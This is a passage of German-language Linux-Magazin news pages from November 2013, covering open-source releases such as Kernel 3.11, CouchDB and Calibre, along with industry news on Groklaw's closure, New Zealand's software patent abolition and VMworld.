amüsante Debian-Kosmologie<br />
von Joey Hess und der Maria-<br />
DB-Vortrag des MySQL-Vaters<br />
Michael Widenius. n<br />
News 11/2013<br />
Aktuell<br />
www.linux-magazin.de<br />
9<br />
Open Z: Open-Source-ERP mit MES-Funktionen<br />
Das Unternehmen Open Z<br />
[http://openz.de] aus Worpswede<br />
hat sein gleichnamiges<br />
ERP-System in Version 2.6.76<br />
veröffentlicht. Mit dieser Release,<br />
schreibt der Hersteller,<br />
biete die Open-Source-Software<br />
umfassende Funktionen<br />
eines Manufacturing Excecution<br />
System (MES). Umgesetzt<br />
seien Produktionssimulation,<br />
Produktionslauf, Beschaffung,<br />
Lagerführung und Ressourcenplanung.<br />
Ein grafischer<br />
Einsatzplan sorge für Übersicht,<br />
eine dynamische Umplanung<br />
sei möglich. Daneben<br />
erlaubt Open Z das Einscannen<br />
von Barcodes, QR-Codes<br />
und RFID-Tags zur Betriebsdatenerfassung.<br />
Das <strong>Web</strong>-basierte ERP-System<br />
entstand als Fork von Open<br />
Bravo und ist in Java 7 mit<br />
Tomcat 7 und PostgreSQL 9.1<br />
umgesetzt. Die verwendeten<br />
Komponenten stehen unter<br />
verschiedenen Open-Source-<br />
Lizenzen.<br />
Für interessierte Anwender<br />
steht Open Z als virtuelle Appliance,<br />
in Form von Debian-<br />
Paketen sowie als Tarball zum<br />
Download bereit.<br />
n<br />
Das <strong>Web</strong>-basierte ERP-System Open Z mit seinem Ressourcenplan.<br />
Linus feiert 22. <strong>Linux</strong>-Geburtstag<br />
Bei seiner Ankündigung der<br />
Kernelversion 3.11-rc7 am<br />
25. August 2013 erlaubte sich<br />
Linus Torvalds einen Scherz,<br />
der auf den 22. Geburtstag<br />
des <strong>Linux</strong>-Kernels anspielte.<br />
Die Nachricht zur bevorstehenden<br />
Veröffentlichung las<br />
sich seltsam vertraut:<br />
„Hello everybody out there<br />
using <strong>Linux</strong> – I’m doing a<br />
(free) operating system (just a<br />
hobby, even if it’s big and professional)<br />
for 486+ AT clones<br />
and just about anything else<br />
out there under the sun. This<br />
has been brewing since april<br />
1991, and is still not ready. I’d<br />
like any feedback on things<br />
people like/dislike in <strong>Linux</strong><br />
3.11-rc7.<br />
I originally ported bash(1.08)<br />
and gcc(1.40), but others have<br />
taken over user space and<br />
things still seem to work. This<br />
implies that I’ll get the final<br />
3.11 release within a week,<br />
and I’d like to know what<br />
features most people would<br />
want. Any suggestions are<br />
welcome, but I won’t promise<br />
I’ll implement them :-)“<br />
Natürlich, es handelt sich um<br />
eine leichte Abwandlung der<br />
bekannten E-Mail, die Linus<br />
Torvalds am 25. August 1991<br />
auf „comp.os.minix“ veröffentlichte,<br />
also genau 22<br />
Jahre zuvor. In ihr kündigte<br />
er ein an Minix erinnerndes,<br />
freies Betriebssystem für<br />
386(486)-AT-Klone an. Die E-<br />
Mail wird häufig als Geburtsstunde<br />
von <strong>Linux</strong> betrachtet,<br />
obwohl der Finne bereits etwas<br />
früher mit der Arbeit am<br />
Kernel begann. Die Mail zeigt:<br />
Offenbar sieht auch Linus den<br />
Termin als Geburtstag.<br />
Einen Veröffentlichungstermin<br />
am 12. August 2013 hatte<br />
Linus mit Bedauern verpasst.<br />
In diesem Fall wäre <strong>Linux</strong> 3.11<br />
genau 20 Jahre nach dem Veröffentlichungstermin<br />
von<br />
Windows 3.11 („Windows for<br />
Workgroups“) erschienen.<br />
Dem Ereignis zu Ehren trägt<br />
<strong>Linux</strong> 3.11 den Codenamen<br />
„<strong>Linux</strong> for Workgroups“. n
Aktuell<br />
www.linux-magazin.de News 11/2013<br />
10<br />
Kurznachrichten<br />
Rygel 0.19.5: Ein Mediaserver mit UPnP-Fähigkeiten. Neu: Im Softwarekern<br />
wurde die Farbtiefe für PNGs auf 24 Bit gesetzt. Das Mediaserver-Plugin<br />
weiß seit Neuem, welche DLNA-Profile Rygel unterstützt, diese Information<br />
besaß vorher nur die Media-Engine. Auch der Renderer akzeptiert<br />
nun ein Set von DLNA-Profilen und versteht, anders als bisher, nicht<br />
nur Mime-Types. Das Playbin-Plugin funktioniert mit der Simple Engine,<br />
manuell entfernte Einträge fliegen aus der Item-Remove-Warteschlange.<br />
Lizenz: LGPL [https://wiki.gnome.org/Rygel]<br />
Upstart 1.10: Init-System, das Jobs und Events verwendet und unter<br />
Ubuntu und Debian zum Einsatz kommt. Neu: In der neuen Version erzeugt<br />
die Komponente Upstart-local-bridge lokale Sockets, auf welche die Jobs<br />
von Upstart anspringen, sobald die Sockets ihnen Namen-Wert-Paare<br />
zusenden. Session-Jobs reagieren hingegen auf Änderungen in der Dconf-<br />
Datenbank. Die Komponente Upstart-dbus-bridge bringt mit »‐‐bus‐name«<br />
einen neuen Schalter mit, der es erlaubt, Bus-Namen-Variablen in einen<br />
Dbus-Event zu integrieren. Anstelle von »SIGHUP« lassen sich inzwischen<br />
auch andere Signale festlegen, die Jobs an den Hauptprozess übergeben.<br />
Lizenz: GPLv2 [https://launchpad.net/upstart]<br />
Calibre 1.0: Eine plattformübergreifende Software zur Ebook-Verwaltung.<br />
Neu: Herausragende Merkmale der neuen Version 1.0 sind die überarbeitete<br />
Präsentation der Buchcover, das beschleunigte Datenbank-Backend,<br />
die Möglichkeit, Word-Dateien in Ebook-Formate zu konvertieren, sowie<br />
die Option, aus Schnittmengen des eigenen Ebook-Bestands virtuellen Bibliotheken<br />
zu erzeugen. Daneben gelingt das Herunterladen von Metadaten<br />
einfacher, bettet Calibre 1.0 Fonts ein, bearbeitet die Inhaltsverzeichnisse<br />
von Ebooks und bringt eine neue Output-Engine für PDF-Dateien mit.<br />
Lizenz: GPLv3 [http://calibre‐ebook.com]<br />
Couch DB 1.4.0: NoSQL-Datenbank unter dem Dach der Apache Foundation<br />
Neu: Couch DB bringt das Modul »couch_dbupdates« mit, das Informationen<br />
über Datenbank-Events sammelt. Über das HTTP-API lässt sich<br />
dafür ein GET-Request absetzen. So holt »curl http://127.0.0.1:5984/_db_<br />
updates?feed=continuous« einen kontinuierlichen Feed der Ereignisse.<br />
Für die »_all_docs«-View gibt es nun »_list«-Funktionen, was den Massenexport<br />
von Dokumenten an Tools erleichtert, die eine einfache Formatierung<br />
benötigen. Plugins wie Geo-Couch, Browser-ID, Oauth lädt Couch DB<br />
nun automatisch. Lizenz: Apache-2.0-Lizenz [http://couchdb.org]<br />
Neues im Kernel 3.11: Grafik, ARM, Virtualisierung und temporäre Dateien<br />
Auf der Kernel-Mailingliste<br />
kündigte Linus Torvalds die<br />
neue <strong>Linux</strong>-Version 3.11 an,<br />
die anlässlich des 20. Windows-3.11-Geburtstags<br />
den satirischen<br />
Codenamen „<strong>Linux</strong><br />
for Workgroups“ trägt.<br />
Zu den Top-Features im neuen<br />
Kernel gehören Änderungen<br />
im Grafikbereich. Über<br />
den Bootparameter »radeon.<br />
dpm=1« lässt sich das noch<br />
experimentelle dynamische<br />
Powermanagement für die<br />
freien ATI-Treiber aktivieren,<br />
was Strom spart und die Betriebstemperatur<br />
senkt.<br />
Der Nouveau-Treiber unterstützt<br />
nun das Dekodieren von<br />
H.264/MPEG2-Videos mit Hilfe<br />
des Videoprozessors VP2.<br />
Support für die neuen Sea-Islands-GPUs<br />
von ATI (Radeon<br />
HD 8000) bringt der Kernel<br />
ebenso mit wie einen DRM-<br />
Treiber für R-Car, den ARM<br />
Cortex-A9 Quadcore-SoC von<br />
Renesas. Letzterer soll künftig<br />
vor allem in Infotainment-Systemen<br />
von Autos zum Einsatz<br />
kommen. Für die ARM-64-Architektur<br />
unterstützt Kernel<br />
3.11 nun Virtualisierung mit<br />
Xen und KVM. Die 32- und<br />
64-Bit-Varianten von ARM<br />
kommen dank des virtuellen<br />
Dateisystems Hugetlb-FS mit<br />
Huge Pages und transparenten<br />
Huge Pages zurecht.<br />
Auch temporäre Dateien sollen<br />
sicherer werden. Das »O_<br />
TMPFILE«-Flag erzeugt nichtpermanente<br />
Files, die im<br />
Dateisystem unsichtbar bleiben.<br />
So sollen Dateien ohne<br />
Race Conditions entstehen,<br />
die gleich nach dem Schließen<br />
verschwinden. Ein „Soft-dirty“<br />
genannter Mechanismus erlaubt<br />
es nun, vom Userspace<br />
aus die Pages zu verfolgen,<br />
auf die ein bestimmter Prozess<br />
schreibt.<br />
Der Kernel 3.11 unterstützt<br />
neuerdings zudem LZ4-Kompression<br />
und hat einen vorläufigen<br />
Client-Support für<br />
NFS 4.2 und Labeled NFS mit<br />
Zugriffskontrolle sowie für<br />
das Lustre-Dateisystem. n<br />
Arcavias Core 2013.09 mit mehr Shopping-Komfort<br />
Das Hamburger Unternehmen<br />
Metaways hat sein freies E-<br />
Commerce-Framework Arcavias<br />
in Version 2013.09 freigegeben.<br />
Die neue Release des<br />
Kerns, zur Unterscheidung<br />
von der passenden Typo-3-<br />
Erweiterung Arcavias Core<br />
genannt, bringt den Shopbesuchern<br />
einige neue Komfortfunktionen.<br />
Sie können<br />
sich in der Detailansicht nun<br />
Produktvarianten wie etwa<br />
unterschiedliche Farben und<br />
Größen ansehen. Veränderungen<br />
bei Preisen oder der Verfügbarkeit<br />
der Produkte hebt<br />
die <strong>Web</strong>oberfläche hervor.<br />
Daneben merkt sich das System<br />
bei der Bestellung eingegebene<br />
Lieferadressen in den<br />
Kundeninformationen.<br />
Shopbetreiber können im Warenkorb<br />
nun Obergrenzen für<br />
Bestellmengen und den Wert<br />
einrichten und die dem Kunden<br />
angebotenen Zahlungsarten<br />
steuern. Beispielsweise<br />
lässt sich das Lastschriftverfahren<br />
erst dann freigeben,<br />
wenn der Kunde einige vorhergehende<br />
Bestellungen bezahlt<br />
hat. Dazu kommen auf<br />
der Admin-Oberfläche verschiedene<br />
Text- und Medienarten,<br />
im Code gibt es einen<br />
Controller für Cronjobs.<br />
Auf der <strong>Web</strong>seite [http://www.<br />
arcavias.com] warten weitere<br />
Informationen. Zudem steht<br />
dort die PHP-Software als<br />
Tarball zum Download bereit,<br />
lizenziert ist sie unter der<br />
LGPLv3. (kki/mhu) n
Aktuell<br />
www.linux-magazin.de Zahlen & Trends 11/2013<br />
12<br />
Zahlen & Trends<br />
Bessere OOXML-Unterstützung für Libre Office 4.2 angekündigt<br />
Die Veröffentlichung von<br />
Libre Office 4.2 steht noch<br />
lange nicht ins Haus, aber<br />
Miklos Vajna, Libre-Office-<br />
Entwickler bei Suse, hat in<br />
einem Blogbeitrag bereits<br />
erste Neuerungen vorgestellt.<br />
Diese betreffen die Kompatibilität<br />
von Dokumenten in<br />
Microsofts DOCX-Format mit<br />
Libre Office Writer. Die Dokumente<br />
lassen sich noch immer<br />
nicht problemlos und originalgetreu<br />
in Libre Office öffnen,<br />
sobald sie aufwändigere Layouts<br />
mitbringen. Auch der Export<br />
solcher Dokument klappt<br />
noch nicht fehlerfrei.<br />
Für frei schwebende Tabellen<br />
demonstriert Vajna in seinem<br />
Blog [http://vmiklos.hu/blog/]<br />
nun deutliche Verbesserungen.<br />
Dazu zeigt er Screenshots<br />
des Originaldokuments<br />
in Microsoft Word 2007 und<br />
dann das Importergebnis in<br />
der aktuellen sowie in der<br />
Vorabversion von Libre Office<br />
4.2. Letztere stellt Floating<br />
Tables deutlich ansehnlicher<br />
dar, ohne aber das Layout zu<br />
zerstören. Auch der Export<br />
solcher Tabellen funktioniert<br />
besser: Nach einem Roundtrip,<br />
also dem Öffnen und<br />
Schließen des Dokuments<br />
in verschiedenen Office-Programmen,<br />
bleibt das Layout<br />
dennoch intakt. In einem weiteren<br />
Bildvergleich demonstriert<br />
Vajna, dass auch der Import<br />
und Export schattierter<br />
Absätze gelingt.<br />
Der Entwickler bittet dann<br />
darum, die neuen Features<br />
zu testen und Bugreports zu<br />
verfassen und weist darauf<br />
hin, dass wohl noch weitere<br />
interessante Features in Libre<br />
Office 4.2 landen werden, das<br />
in der letzten Januarwoche<br />
2014 erscheinen soll. n<br />
Bilder-Quelle: http://vmiklos.hu/blog/<br />
Frei schwebende Tabellen in Microsoft Word 2007 ... ... und die Darstellung in der Entwicklerversion von Libre Office 4.2.<br />
Red Hat verstärkt Open-MP-Board<br />
Die amerikanische Softwareschmiede<br />
Red Hat ist neuerdings<br />
Mitglied des Open MP<br />
Architecture Review Board<br />
(ARB), das für die Multiprocessing-Fähigkeiten<br />
neuer<br />
Hardware die entsprechende<br />
Software standardisieren<br />
möchte. Die Aufgabe des<br />
Board besteht darin, den Standard<br />
für das Multiprocessing-<br />
API (C/C++ und Fortran) voranzutreiben.<br />
Open MP hilft<br />
Programme über Compiler-Direktiven<br />
und Bibliotheksroutinen<br />
tauglich für den Einsatz<br />
auf Multiprozessor-Systemen<br />
zu machen.<br />
„Als ein gewichtiger Verfechter<br />
von Open MP fühlt sich<br />
Red Hat geehrt, dem Open MP<br />
ARB beizutreten“, schreibt<br />
Mike Werner, Senior Director<br />
für ISV und Developer Ecosystems<br />
bei Red Hat. Die Firma<br />
hat den Standard unter anderem<br />
in ihr aktuelles Hauptprodukt<br />
Red Hat Enterprise <strong>Linux</strong><br />
integriert, das in Version 6.4<br />
auf dem Markt ist.<br />
Auch Michael Wong, CEO von<br />
Open MP, gibt sich erfreut.<br />
Red Hat unterstütze Open<br />
MP bereits länger mit eigenen<br />
GCC-Implementierungen und<br />
sei stark an offenen Standards<br />
interessiert, beschreibt er das<br />
neue Mitglied. Red Hat gehört<br />
nun zu den 14 permanenten<br />
Mitgliedern im ARB. n
Suse-Studie sieht <strong>Linux</strong> weiter auf dem Vormarsch<br />
Nicht zuletzt weil Anwender<br />
und Entscheider endlich die<br />
„irrationalen Ängste“ ablegen<br />
würden, sei <strong>Linux</strong> im Servermarkt<br />
weiter auf dem Vormarsch,<br />
behauptet eine Studie,<br />
die der Distributor Suse<br />
erstellen ließ.<br />
Laut der Untersuchung verwenden<br />
heute vier von fünf<br />
Unternehmen <strong>Linux</strong>, fast<br />
die Hälfte davon setze es<br />
als Hauptbetriebssystem auf<br />
den Firmenservern ein. Jedes<br />
siebte Unternehmen nutze<br />
<strong>Linux</strong> auf einem <strong>Web</strong>server,<br />
aber mehr als 75 Prozent wollen<br />
binnen Jahresfrist einen<br />
Lamp-Server integrieren.<br />
Auf Platz 1 der Liste mit<br />
Mi gra tionsgründen stehen<br />
Themen wie Sicherheit, die<br />
niedrigen TCO (Total Cost<br />
of Ownership), die Hochverfügbarkeit,<br />
aber auch die<br />
Option, den Vendor-Lock-in<br />
eines Herstellers zu vermeiden.<br />
Die Unterstützung durch<br />
eine Community landet in der<br />
Umfrage hingegen auf dem<br />
letzten Platz.<br />
Und auch das sagt die Studie:<br />
Wenn Firmen, die noch Unix<br />
verwenden, mit einer <strong>Linux</strong>-<br />
Migration zögern, geben sie<br />
als Hauptgründe den Mangel<br />
an Vendor-Support, Knowhow<br />
und Sicherheit an. n<br />
Eine Studie von Suse sieht <strong>Linux</strong>-Server auf dem Vormarsch.<br />
Zahlen & Trends 11/2013<br />
Aktuell<br />
www.linux-magazin.de<br />
13<br />
Collabora leistet Libre-Office-Support<br />
Neuer Evergreen<br />
Kubuntu-Support<br />
Ein neuer Geschäftsbereich<br />
des international tätigen IT-<br />
Dienstleisters Collabora macht<br />
sich das Geschäft mit Support<br />
sowie anderen Leistungen<br />
rund um Libre Office zur Aufgabe.<br />
Die neue Division heißt<br />
Collabora Productivity und<br />
verfügt nach eigenen Angaben<br />
weltweit über die meisten<br />
von der Document Foundation<br />
zertifizierten Entwickler<br />
für die freie Bürosuite.<br />
Vice President von Productivity<br />
ist das Office-Urgestein<br />
Michael Meeks, vorher bei<br />
Suse tätig. Er sieht in vielen<br />
Unternehmen einen Trend zur<br />
Libre-Office-Migration, die Lizenzkosten<br />
einspare, ohne zu<br />
Lasten der Produktivität zu<br />
gehen.<br />
Collabora hat für seine Libre-<br />
Office-Dienstleistungen die<br />
Seite [http://www.collabora.com/<br />
projects/libreoffice] eingerichtet.<br />
Auf ihr warten bereits<br />
mehrere Angebote, darunter<br />
Hilfe bei der Libre-Office-<br />
Einführung, Level-3-Support,<br />
Longterm-Support sowie Unterstützung<br />
für heterogene<br />
Umgebungen mit Windows,<br />
Mac und <strong>Linux</strong>. Daneben<br />
bietet das Unternehmen auch<br />
maßgeschneiderte Beratung<br />
und Entwicklung an, sei es<br />
die Konvertierung von Dokumenten<br />
oder die Anpassung<br />
für bestimmte Geräte.<br />
Suse, bereits seit Jahren Anbieter<br />
von Libre-Office-Subskriptionen,<br />
tut sich mit Collabora<br />
als Partner zusammen.<br />
Neue Kunden sowie jene, die<br />
ihre Subskription verlängern,<br />
können sich optional für<br />
Support durch Collabora entscheiden,<br />
langfristig soll der<br />
Support auf den Dienstleister<br />
übergehen. Laut Suse-CEO<br />
Nils Brauckmann möchte sich<br />
das <strong>Linux</strong>-Unternehmen stärker<br />
auf sein Betriebssystem<br />
und die Cloud-Infrastruktur<br />
konzentrieren.<br />
n<br />
Die kommende Release 13.1<br />
von Open Suse soll ein Evergreen<br />
werden und damit über<br />
die üblichen 18 Monaten hinaus<br />
Stabilitäts- und Security-<br />
Updates erhalten. Das hat das<br />
Evergreen-Team der Distribution<br />
mitgeteilt. Planmäßig will<br />
man Version 13.1 mindestens<br />
drei Jahre lang erhalten und<br />
pflegen. Das heißt konkret,<br />
Open Suse 13.1 soll im November<br />
2013 erscheinen und<br />
wird bis November 2016 mit<br />
Patches und Sicherheitsupdates<br />
versorgt.<br />
Das von Suse unabhängig<br />
agierende Evergreen-Team,<br />
das Wolfgang Rosenauer ins<br />
Leben rief, versorgt derzeit<br />
die Open-Suse-Releases 11.2<br />
und 11.4 mit verlängertem<br />
Support bis zum November<br />
2013 respektive 2014. Weitere<br />
Informationen über Evergreen<br />
liefert eine Seite im Open-<br />
Suse-Wiki [http://en.opensuse.<br />
org/openSUSE:Evergreen]. n<br />
Für die <strong>Linux</strong>-Distribution<br />
Kubuntu gibt es ab sofort<br />
kommerziellen Support. Das<br />
gab das Projekt in der Ankündigung<br />
[http://www.kubuntu.org/<br />
news/commercial‐support] bekannt.<br />
Die gebührenpflichtige<br />
Unterstützung realisieren die<br />
Entwickler um den Schotten<br />
Jonathan Riddell über ihre<br />
Partner Emerge Open und<br />
With Support, die in England<br />
ansässig sind.<br />
Im Angebot sind eine Unterstützung<br />
per Telefon, Mail,<br />
Skype, Remote-Desktop sowie<br />
über weitere Kanäle nach<br />
Kundenwunsch. Ein Stunde<br />
kostet zirka 95 Euro, ein Acht-<br />
Stunden-Tag rund 590 Euro.<br />
Daneben sind auch monatliche<br />
Supportverträge sowie<br />
Service Level Agreements<br />
(SLA) erhältlich. Der aus<br />
dem kommerziellen Support<br />
gewonnene Profit soll wieder<br />
zurück an das Kubuntu-Projekt<br />
fließen.<br />
n
Aktuell<br />
www.linux-magazin.de Zahlen & Trends 11/2013<br />
14<br />
Blenders Renderengine Cycles wechselt zur Apache-2.0-Lizenz<br />
Die Blender Foundation hat<br />
die Lizenz ihrer Renderengine<br />
Cycles von der GPL in die<br />
Apache-2.0-Lizenz verändert,<br />
die keine Copyleft-Klausel<br />
enthält. Die Nutzer können<br />
den Quellcode also nutzen,<br />
ohne den veränderten Code<br />
zurückgeben zu müssen. Dadurch<br />
lässt sich die Software<br />
in eher restriktiven proprietären<br />
Umgebungen einsetzen,<br />
etwa als In-House-Software in<br />
Studios.<br />
Unabhängig von diesem<br />
Schritt werde das Blender-<br />
Projekt aber auch weiterhin<br />
selbst an der Engine arbeiten,<br />
schreiben Cycles-Entwickler<br />
Brecht van Lommel und Ton<br />
Roosendall von der Blender<br />
Foundation. Sie begründen<br />
den Schritt mit der Hoffnung,<br />
die Raytracing-Engine werde<br />
durch einen Einsatz in kommerziellen<br />
Umgebungen mehr<br />
Unterstützer finden.<br />
Blender unterwerfe sich weiterhin<br />
der GPL, für Bibliotheken<br />
habe es sich aber in<br />
der Vergangenheit als Vorteil<br />
erwiesen, sie unter einer BSDoder<br />
Apache-Lizenz zu veröffentlichen.<br />
Letztere bot sich<br />
Quelle: emirage.org<br />
an, weil schon andere Teile<br />
der Engine unter dieser Lizenz<br />
stünden, aber auch Open Subdiv,<br />
das die Entwickler in die<br />
Renderengine Cycles integrieren<br />
möchten.<br />
n<br />
Blenders Renderengine Cycles kann beeindruckende Grafiken erzeugen.<br />
LSK: Linaro will Longterm-Support-Kernel<br />
Das Linaro-Projekt, das an<br />
besserer <strong>Linux</strong>-Unterstüt zung<br />
für die ARM-Architektur arbeitet,<br />
will künftig eine eigene<br />
stabile Kernelversion pfle gen.<br />
Das schreibt Mark Brown, seit<br />
Kurzem Linaro-Mitarbeiter<br />
und technischer Leiter des Linaro<br />
Stable Kernel (LSK), in<br />
einem Blogeintrag.<br />
Die kommende Linaro-Release<br />
13.09 soll erstmals einen solchen<br />
stabilen Kernel anbieten.<br />
Eine Betaversion des<br />
LSK gab es zudem bereits für<br />
das jüngste Linaro 13.08. Der<br />
LSK soll auf dem Upstream-<br />
Kernel 3.10 beruhen und für<br />
die Linaro-Teilnehmer wichtige<br />
Funktionen integrieren.<br />
Sie sollen von neuen ARM-<br />
Features profitieren und die<br />
Stabilität und Qualität eines<br />
LTS-Kernel erhalten.<br />
Eine eigene Wiki-Seite [https://<br />
wiki.linaro.org/LSK] zum stabilen<br />
Linaro-Kernel bietet Interessierten<br />
weitere Informationen<br />
an. Der Kernel wird in zwei<br />
Ausgaben mit den Bezeichnungen<br />
Core und Android zur<br />
Verfügung stehen. n<br />
Investigative <strong>Web</strong>seite Groklaw macht dicht<br />
Die amerikanische <strong>Web</strong>site<br />
Groklaw.net hat die Open-<br />
Source-Community rund zehn<br />
Jahre lang in juristischen Fragen<br />
begleitet. Nun stellte sie<br />
ihre Arbeit ein. Pamela Jones,<br />
juristische Assistentin und<br />
Groklaw-Gründerin, legte<br />
in ihrem vermutlich letzten<br />
Blogeintrag die Gründe dar:<br />
In einem Klima der Überwachung,<br />
wie es das Internet-<br />
Monitoring der amerikanischen<br />
Geheimdienste erzeuge,<br />
sehe sie keine Möglichkeit,<br />
ihre Arbeit weiterzuführen.<br />
Ohne die Vertraulichkeit von<br />
Mails könne sie nicht mit Informanten<br />
und Mitarbeitern<br />
kommunizieren, lautet ihre<br />
verbitterte Schlussfolgerung.<br />
Den Verlust der Vertraulichkeit<br />
und Privatsphäre verglich<br />
sie mit einem Einbruch in ihre<br />
Wohnung, den sie vor Jahren<br />
erlebt hatte.<br />
Mit Groklaw schließt eine<br />
verdienstvolle Seite, die insbesondere<br />
die SCO-Klagewelle<br />
gegen <strong>Linux</strong>-Distributoren<br />
und ‐Anwender kritisch begleitet<br />
hat. Daneben waren<br />
Patente, die Anerkennung von<br />
Microsofts OOXML-Format als<br />
Standard sowie allgemein Urheberrecht<br />
und Lizenzen die<br />
Themen der veröffentlichten<br />
Artikel und geführten Diskussionen.<br />
Für seine Arbeit erhielt das<br />
Projekt im Jahre 2010 die EFF<br />
Pioneer Awards sowie im Jahr<br />
2008 eine ehrende Erwähnung<br />
beim Prix Ars Electronica<br />
und den Award for Projects<br />
of Social Benefit von der Free<br />
Software Foundation (FSF).<br />
Die Library of Congress hat<br />
Groklaw sogar in seine Sammlung<br />
von historisch wertvollen<br />
Internetmaterialien aufgenommen.<br />
Georg Greve, ehemaliger<br />
Präsident der Free Software<br />
Foundation Europe (FSFE)<br />
und nun CEO von Kolab Systems,<br />
kommentiert das Ende<br />
des Internetprojekts in seinem<br />
Blogeintrag [http://blogs.fsfe.org/<br />
greve/?p=625]. Darin zitiert er<br />
seinen Kollegen Paul Adams<br />
aus dem Kolab-IRC-Channel:<br />
„Ohne Groklaw ist die IT-Welt<br />
ein Stück weniger sicher.“ n
Gnome-Erleuchtung ohne Google<br />
Der <strong>Web</strong>browser des Gnome-<br />
Desktops, Epiphany, wird in<br />
Zukunft Duck Duck Go statt<br />
Google als Standard-Suchmaschine<br />
verwenden. Grund<br />
dafür seien die Anstrengungen<br />
des Gnome-Projekts, die<br />
Privatsphäre der Gnome-Anwender<br />
besser zu schützen,<br />
schreibt Claudio Saavedra, einer<br />
der Maintainer, in einem<br />
Blogeintrag.<br />
Im Unterschied zu Google<br />
sammle [https://duckduckgo.<br />
com] keine Daten über das<br />
Benutzerverhalten. Zudem<br />
sei die kleine Suchmaschine<br />
alltagstauglich und biete zahlreiche<br />
Keywords für spezialisierte<br />
Suchen an, etwa in der<br />
Wikipedia. Im Gegenzug erhält<br />
das Gnome-Projekt über<br />
Saavedras Arbeitgeber Igalia<br />
einen Anteil an den – bescheidenen<br />
– Einnahmen von Duck<br />
Duck Go.<br />
Die Änderung wird erstmals<br />
in Gnome 3.10 auftauchen,<br />
das laut Release-Plan Ende<br />
September erscheinen soll.<br />
Die Partnerschaft soll vorerst<br />
für einen beschränkten Zeitraum<br />
gelten, danach werde<br />
sie erneut evaluiert. Für Anwender,<br />
die bereits eine Suchmaschine<br />
in Epiphany konfiguriert<br />
haben, werde sich<br />
nichts ändern, versichern die<br />
Entwickler. Daneben könne<br />
der Benutzer auch weiterhin<br />
eine Suchmaschine seiner<br />
Wahl einstellen.<br />
n<br />
Neuseeland schafft Softwarepatente ab<br />
Mit 117 gegen vier Stimmen<br />
votierte Neuseelands Parlament<br />
für eine Änderung des<br />
Patentgesetzes, die Softwarepatente<br />
abschafft. Fünf Jahre<br />
lang hatten die Neuseeländer<br />
das Thema debattiert. Im<br />
neuen Paragraphen 10A des<br />
Patentgesetzes steht, dass ein<br />
Computerprogramm keine Erfindung<br />
sei.<br />
Ähnlich wie in der EU lassen<br />
sich Programme in Neuseeland<br />
künftig nur dann schützen,<br />
wenn sie zum Beispiel<br />
Prozesse implementieren, um<br />
eine patentierte Technologie<br />
zu verbessern. Ein Prozess<br />
wäre also patentierbar, wenn<br />
er die geschützte Waschmethode<br />
in einer Waschmaschine<br />
effizienter umsetzt.<br />
Laut Ars Technica gibt es<br />
vielleicht einen gewollten Nebeneffekt:<br />
Indem Neuseeland<br />
Computerprogramme nicht<br />
mehr als Erfindungen bezeichnet,<br />
fallen sie auch nicht<br />
unter das internationale Trips<br />
Agreement (Trade-Related Aspects<br />
of Intellectual Property<br />
Rights) der WTO.<br />
Paul Matthews, Geschäftsführer<br />
des Instituts für IT-<br />
Professionals in Neuseeland,<br />
begrüßte die Entwicklung.<br />
Patenttrolle seien nämlich ein<br />
Problem, kaum noch lasse<br />
sich aktuell eine Software<br />
entwickeln, ohne eines der<br />
zahlreichen Trivialpatente zu<br />
verletzen. Allerdings wirke<br />
die Änderung nicht rückwirkend,<br />
sondern betreffe nur<br />
neu erstellte Anwendungen.<br />
Und noch sei das Gesetz nicht<br />
komplett durch das Parlament<br />
gegangen, was aber bald der<br />
Fall sein werde. Wie aber die<br />
Rechtsprechung die Gesetze<br />
in der Praxis auslegt, muss<br />
sich noch zeigen. n
Aktuell<br />
www.linux-magazin.de Zahlen & Trends 11/2013<br />
16<br />
VMware feiert sich und die Zukunft<br />
Wer die grellen Auftritte von<br />
Steve Jobs oder Steve Ballmer<br />
auf übergroßer Bühne vor einem<br />
enthusiasmierten Publikum<br />
kennt und schätzt, war<br />
Pat Gelsinger ist der CEO von VMware.<br />
Ende August auf VMwares<br />
zehnter Hausmesse, der VMworld<br />
[http://www.vmworld.com]<br />
in San Francisco, richtig.<br />
Begleitet von einer Lasershow,<br />
zeichnete CEO Pat Gelsinger<br />
anlässlich des 15. Geburtstags<br />
von VMware dessen Zukunft<br />
in hoffnungsfrohen Farben.<br />
Das als „Keynote“ zu neutral<br />
angekündigte Tamtam ist<br />
nachvollziehbar, weil das seit<br />
2003 größtenteils zu EMC gehörende<br />
Virtualisierungs- und<br />
Cloud-Unternehmen im Jahr<br />
2012 4,6 Milliarden US-Dollar<br />
mit Hilfe einer halben Million<br />
Kunden erlöste – Tendenz<br />
steigend.<br />
Workstation, das erste relevante<br />
VMware-Produkt im<br />
Jahre 1999, verhalf <strong>Linux</strong><br />
erstmals zu einer Vollvirtualisierung,<br />
2001 schwenkten die<br />
Kalifornier mit dem ESX Server<br />
eher in Richtung Bare Metal.<br />
Als 2008 der Ex-Microsoft-<br />
Manager Paul Maritz das Ruder<br />
übernahm, kamen Bedenken<br />
auf, dass sich VMware in<br />
Richtung Red mond ausrichten<br />
könnte. Die bewahrheiteten<br />
sich in der Folge allerdings<br />
nicht. Vielmehr wird Maritz<br />
das Bonmot zugeschrieben,<br />
in seiner Position bei VMware<br />
könne er nun die technischen<br />
Fehler beheben, die er selbst<br />
mit Windows in den Markt<br />
gebracht habe.<br />
VMware kündigte nun die<br />
nächsten Schritte ins vor einem<br />
Jahr projektierte „Software-Defined<br />
Datacenter“<br />
(SDDC) an: VMware NSX<br />
(ein virtuelles Layer-2-bis-7-<br />
Netzwerk, das im Wesentlichen<br />
aus der Nicira Virtualization<br />
Platform und V-Cloud<br />
Networking und Security<br />
besteht), Virtual SAN (dynamische<br />
Storages für VMs), V-<br />
Cloud Suite 5.5 (um App-HA<br />
und Flashspeicher-Optimierung<br />
erweitertes V-Sphere)<br />
und schließlich V-Sphere mit<br />
Operation Management. n<br />
Tupi: Freies Animationsprogramm sucht Unterstützung<br />
Die Macher des freien 2-D-<br />
Animationsprogramms Tupi<br />
wollen auf Kickstarter 30 000<br />
US-Dollar sammeln. Mit dem<br />
Geld wollen sie Tupi [http://<br />
maefloresta.com/portal/] um<br />
neue Funktionen erweitern<br />
und Version 1.0 erreichen.<br />
Konkret planen die Entwickler<br />
mehrere Zeichenwerkzeuge<br />
zu überarbeiten und ihre Bedienung<br />
zu vereinfachen. Neu<br />
hinzukommen sollen neben<br />
einem Farbverlaufswerkzeug<br />
auch Sound-, Kamera- und<br />
Maskierungs-Layer. Mit der<br />
Kampagne möchte das Projekt<br />
zudem neue Grafiker und Entwickler<br />
gewinnen.<br />
Tupi ist ein Fork des mittlerweile<br />
